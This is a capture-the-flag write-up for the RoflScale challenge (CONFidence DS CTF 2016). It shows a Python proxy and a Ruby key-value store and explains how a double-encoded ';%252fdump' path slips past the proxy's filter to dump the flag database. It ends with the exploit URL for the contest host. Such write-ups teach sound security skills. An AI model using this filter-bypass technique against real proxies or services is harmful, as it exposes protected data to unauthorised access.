Below you can find my solution for RoflScale task from CONFidence DS CTF 2016.
We have proxy written in Python:
from werkzeug.wrappers import Request, Response
from werkzeug.serving import run_simple
from urlparse import urlparse, urlunparse
from urllib import unquote
from requests import request
@Request.application
def proxy(req):
url = urlparse(unquote(req.url))
path = url.path
while unquote(path) != path: path = unquote(path)
if 'dump' in path:
return Response('GTFO')
else:
newurl = urlunparse(('http', 'localhost:3000') + url[2:])
return Response(request(req.method, newurl).content)
if __name__ == '__main__':
run_simple('0.0.0.0', 4000, proxy)
and program written in Ruby:
require 'sinatra'
require 'pstore'
require 'uri'
DB = PStore.new('db/db.pstore')
DB.transaction do
DB['secret/flag'] = File.read('flag.txt')
DB['not_flag'] = 'This is not a flag'
end
class KVStore < Sinatra::Base
get '/:key' do |key|
DB.transaction do
DB[key]
end
end
post '/:key' do |key|
DB.transaction do
DB[key] = params[:value]
end
end
end
class DebugHelper
def initialize(upstream, db)
@upstream = upstream
@db = db
end
def call(env)
path = env['REQUEST_PATH']
while URI.unescape(path) != path do
path = URI.unescape(path)
end
if path.end_with? '/dump' # may be running in a subdirectory
[200, {'Content-Type' => 'text/plain'}, [File.read(@db.path)]]
else
@upstream.call(env)
end
end
end
use DebugHelper, DB
run KVStore
Our job is to send /dump
request to program through proxy.
In order to do that we need to check urlparse manual:
Parse a URL into six components, returning a 6-tuple.
scheme://netloc/path;parameters?query#fragment
So when we run this code:
from urlparse import urlparse, urlunparse
from urllib import unquote
url = urlparse(unquote("http://example.com/our_path;rest_part"))
print url.path
We get: /our_path
as path
.
Knowing that we can try to put /dump
as rest_part
.
But then urlparse
return /our_path;/dump
.
So maybe we can encode /
using Percent-encoding: http://example.com/our_path;%2fdump
Again the same result. Why? Because unquote function is used. But only once. So maybe we can encode %2f
again?
url = urlparse(unquote("http://example.com/our_path;%252fdump"))
print url.path
print urlunparse(('http', 'localhost:3000') + url[2:])
Now url.path
return /our_path
and http://localhost:3000/our_path;%2fdump
is passed to Ruby as env['REQUEST_PATH']
.
And because URI.unescape
function our_path;%2fdump
become our_path;/dump
.
So if path.end_with? '/dump'
evaluate to true
.
Final solution is: http://roflscale.hackable.software:4000/sth;%252fdump